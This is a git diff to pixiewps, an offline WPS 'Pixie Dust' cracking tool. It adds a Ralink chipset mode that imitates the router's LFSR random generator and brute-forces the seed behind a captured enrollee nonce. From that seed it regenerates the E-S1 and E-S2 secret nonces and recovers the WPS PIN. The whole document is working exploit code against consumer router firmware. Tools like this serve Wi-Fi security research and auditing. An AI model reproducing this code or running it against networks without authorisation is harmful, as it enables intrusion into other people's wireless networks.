diff --git a/src/pixiewps.c b/src/pixiewps.c index af16bf5..381bd14 100644 --- a/src/pixiewps.c +++ b/src/pixiewps.c @@ -25,6 +25,7 @@ #include #include #include +#include #include /* libtommath.c */ #if defined(_WIN32) || defined(__WIN32__) #include @@ -77,24 +78,24 @@ static const struct option long_options[] = { { 0, 0, 0, 0 } }; -#define SECS_PER_JOB_BLOCK 1000 +#define SEEDS_PER_JOB_BLOCK 1000 struct crack_job { pthread_t thr; - time_t start; + uint32_t start; }; static struct job_control { int jobs; - time_t end; + int mode; + uint32_t end; uint32_t randr_enonce[4]; struct crack_job *crack_jobs; volatile uint32_t nonce_seed; } job_control; -static void *crack_thread(void *arg) { +static void crack_thread_rtl(struct crack_job *j) { struct glibc_lazyprng glibc_lazyprng; - struct crack_job *j = arg; uint32_t seed = j->start; uint32_t limit = job_control.end; uint32_t tmp[4]; @@ -113,14 +114,90 @@ static void *crack_thread(void *arg) { seed--; - if (seed < j->start - SECS_PER_JOB_BLOCK) { - long long tmp = j->start - SECS_PER_JOB_BLOCK * job_control.jobs; + if (seed < j->start - SEEDS_PER_JOB_BLOCK) { + long long tmp = j->start - SEEDS_PER_JOB_BLOCK * job_control.jobs; if (tmp < 0) break; j->start = tmp; seed = j->start; if (seed < limit) break; } } +} + +struct ralink_randstate { + uint32_t sreg; +}; + +static unsigned char ralink_randbyte(struct ralink_randstate *state) { + unsigned char r = 0, result; + + if (state->sreg == 0) + state->sreg = 1; + + for (int i = 0; i< 8; i++) { + if (state->sreg & 0x00000001) { + state->sreg = ((state->sreg ^ 0x80000057) >> 1) | 0x80000000; + result = 1; + } else { + state->sreg = state->sreg >> 1; + result = 0; + } + r = (r << 1) | result; + } + return r; +} + +static int crack_rt(uint32_t start, uint32_t end, uint32_t *result) { + uint32_t seed; + struct ralink_randstate prng; + unsigned char testnonce[16] = {0}; + unsigned char *search_nonce = (void*) job_control.randr_enonce; + int i; + + for (seed = start; seed < end; seed++) { + prng.sreg = seed; + testnonce[0] = ralink_randbyte(&prng); + if (testnonce[0] != search_nonce[0]) continue; + for (i = 1; i < 4; i++) testnonce[i] = ralink_randbyte(&prng); + if(memcmp(testnonce, search_nonce, 4)) continue; + for (i = 4; i < 16; i++) testnonce[i] = ralink_randbyte(&prng); + if(!memcmp(testnonce, search_nonce, 16)) { + *result = seed; + return 1; + } + } + return 0; +} + +static void crack_thread_rt(struct crack_job *j) { + uint64_t tmp; + uint32_t start = j->start, end; + uint32_t res; + + while (!job_control.nonce_seed) { + tmp = (uint64_t) start + (uint64_t) SEEDS_PER_JOB_BLOCK; + if (tmp > (uint64_t) job_control.end) tmp = job_control.end; + end = tmp; + + if (crack_rt(start, end, &res)) { + job_control.nonce_seed = res; + DEBUG_PRINT("Seed found %u", (unsigned) res); + } + tmp = (uint64_t) start + (uint64_t) (SEEDS_PER_JOB_BLOCK * job_control.jobs); + if (tmp > (uint64_t) job_control.end) break; + start = tmp; + } +} + +static void *crack_thread(void *arg) { + struct crack_job *j = arg; + + if (job_control.mode == RTL819x) + crack_thread_rtl(j); + else if (job_control.mode == RT) + crack_thread_rt(j); + else + assert(0); return 0; } @@ -144,28 +221,35 @@ static void setup_thread(int i) { } #endif -static void init_crack_jobs(struct global *wps) { +static void init_crack_jobs(struct global *wps, int mode) { job_control.jobs = wps->jobs; - job_control.end = wps->end; + job_control.end = (mode == RTL819x) ? wps->end : 0xffffffffu; + job_control.mode = mode; job_control.nonce_seed = 0; memset(job_control.randr_enonce, 0, sizeof(job_control.randr_enonce)); + /* Converting enrollee nonce to the sequence may be generated by current random function */ int i, j = 0; - for (i = 0; i < 4; i++) { - job_control.randr_enonce[i] |= wps->e_nonce[j++]; - job_control.randr_enonce[i] <<= 8; - job_control.randr_enonce[i] |= wps->e_nonce[j++]; - job_control.randr_enonce[i] <<= 8; - job_control.randr_enonce[i] |= wps->e_nonce[j++]; - job_control.randr_enonce[i] <<= 8; - job_control.randr_enonce[i] |= wps->e_nonce[j++]; - } + if(mode == RTL819x) + for (i = 0; i < 4; i++) { + job_control.randr_enonce[i] |= wps->e_nonce[j++]; + job_control.randr_enonce[i] <<= 8; + job_control.randr_enonce[i] |= wps->e_nonce[j++]; + job_control.randr_enonce[i] <<= 8; + job_control.randr_enonce[i] |= wps->e_nonce[j++]; + job_control.randr_enonce[i] <<= 8; + job_control.randr_enonce[i] |= wps->e_nonce[j++]; + } + else + memcpy(job_control.randr_enonce, wps->e_nonce, 16); + job_control.crack_jobs = malloc(wps->jobs * sizeof (struct job_control)); - time_t curr = wps->start; + uint32_t curr = (mode == RTL819x) ? wps->start : 0; + uint32_t add = (mode == RTL819x) ? -SEEDS_PER_JOB_BLOCK : SEEDS_PER_JOB_BLOCK; for(i = 0; i < wps->jobs; i++) { job_control.crack_jobs[i].start = curr; setup_thread(i); - curr -= SECS_PER_JOB_BLOCK; + curr += add; } } @@ -844,6 +928,42 @@ usage_err: goto memory_err; } + if (!found_p_mode) { + init_crack_jobs(wps, RT); + nonce_seed = collect_crack_jobs(); + if (nonce_seed != 0) { + unsigned lfsr = bit_revert(nonce_seed); + int k = 8 * 32; + while (k--) { + unsigned int lsb_mask = ~(lfsr & 1) + 1; + lfsr ^= lsb_mask & 0xd4000003; + lfsr >>= 1; + lfsr |= lsb_mask & 0x80000000; + } + struct ralink_randstate prng; + prng.sreg = bit_revert(lfsr); + s1_seed = prng.sreg; + for (int i = 0; i < WPS_NONCE_LEN; i++) + wps->e_s1[i] = ralink_randbyte(&prng); + s2_seed = prng.sreg; + for (int i = 0; i < WPS_NONCE_LEN; i++) + wps->e_s2[i] = ralink_randbyte(&prng); + + DEBUG_PRINT("Trying with E-S1: "); + DEBUG_PRINT_ARRAY(wps->e_s1, WPS_SECRET_NONCE_LEN); + DEBUG_PRINT("Trying with E-S2: "); + DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN); + + r = crack(wps, pin); + if (r == PIN_FOUND) { + found_p_mode = RT; + DEBUG_PRINT("Pin found"); + } else if (r == MEM_ERROR) { + goto memory_err; + } + } + } + /* 2 */ } else if (p_mode[k] == ECOS_SIMPLE && wps->e_nonce) { @@ -866,7 +986,7 @@ usage_err: for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) /* Advance to get E-S2 */ wps->e_s2[i] = (uint8_t) (ecos_rand_simple(&seed) & 0xff); - DEBUG_PRINT("Seed found"); + DEBUG_PRINT("Seed found %u", nonce_seed); break; } index++; @@ -924,7 +1044,7 @@ usage_err: if (!(wps->e_nonce[0] & 0x80) && !(wps->e_nonce[4] & 0x80) && !(wps->e_nonce[8] & 0x80) && !(wps->e_nonce[12] & 0x80)) { - init_crack_jobs(wps); + init_crack_jobs(wps, RTL819x); #if DEBUG { @@ -1178,10 +1298,15 @@ usage_err: if (wps->e_nonce) { if (wps->verbosity > 2) { if ((found_p_mode == ECOS_SIMPLE || (found_p_mode == RTL819x && nonce_seed) - || found_p_mode == ECOS_SIMPLEST || found_p_mode == ECOS_KNUTH)) { + || found_p_mode == ECOS_SIMPLEST || found_p_mode == ECOS_KNUTH)) { printf("\n [*] Seed N1: %u", nonce_seed); } + if (found_p_mode == RT && s1_seed && s2_seed) { + printf("\n [*] Seed N1: 0x%08x", nonce_seed); + printf("\n [*] Seed ES1: 0x%08x", s1_seed); + printf("\n [*] Seed ES2: 0x%08x", s2_seed); + } if (found_p_mode == RTL819x && nonce_seed) { time_t seed_time; struct tm ts; diff --git a/src/utils.h b/src/utils.h index 8fb6751..5590eac 100644 --- a/src/utils.h +++ b/src/utils.h @@ -122,6 +122,18 @@ int get_int(char *in, int *out) { return 0; } +unsigned int bit_revert(unsigned int v) { + int i; + unsigned int lsb, n = 0; + for (i = 0; i < sizeof(unsigned int) * 8; i++) { + lsb = v & 1; + v >>= 1; + n <<= 1; + n |= lsb; + } + return n; +} + /* Custom timegm function made by Eric S Raymond */ time_t c_timegm(register struct tm *t) { register long year;